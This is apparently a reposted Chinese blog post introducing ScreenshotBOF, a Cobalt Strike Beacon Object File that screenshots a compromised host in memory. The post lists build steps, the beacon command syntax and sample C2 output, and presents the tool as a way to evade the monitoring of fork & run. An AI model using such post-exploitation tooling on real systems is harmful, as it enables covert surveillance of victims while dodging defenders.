一个 Cobalt Strike 的替代屏幕截图功能,使用 WinAPI 实现 | 屏幕截图在内存中下载
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/CodeXTF2/ScreenshotBOF
Screenshot BOF
Cobalt Strike 的另一种屏幕截图功能,它使用 WinAPI 并且不执行 fork & run。截图下载到内存中。
自编
- git 克隆仓库
- 在 Visual Studio 中打开解决方案
- 构建项目BOF
保存方法:
- 将文件拖放到磁盘
- 通过信标下载文件(仅限 Cobalt Strike)
用法
- 将 screenshotBOF.cna 脚本导入 Cobalt Strike
- 使用命令 screenshot_bof {local filename} {save method 0/1}
beacon> screenshot_bof sad.bmp 1
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 5267 bytes
[+] received output:
[*] Screen saved to bitmap
[+] received output:
[*] Downloading bitmap over beacon with filename sad.bmp
[*] started download of sad.bmp
- 如果通过 beacon 下载,可以通过右键单击下载并单击“渲染 BMP”在 Cobalt Strike 中查看 BMP(来源@BinaryFaultline)


注意事项
- 没有进行任何规避,这应该没问题,因为使用的 WinAPI 不是恶意的
我为什么做这个?
Cobalt Strike 使用一种称为 fork & run 的技术来实现其许多 post-ex 功能,包括屏幕截图命令。虽然此行为提供了稳定性,但它现在已广为人知并受到严密监控。此 BOF 旨在提供更加 OPSEC 安全的屏幕截图功能版本。
标签:工具分享, cobaltstrike系列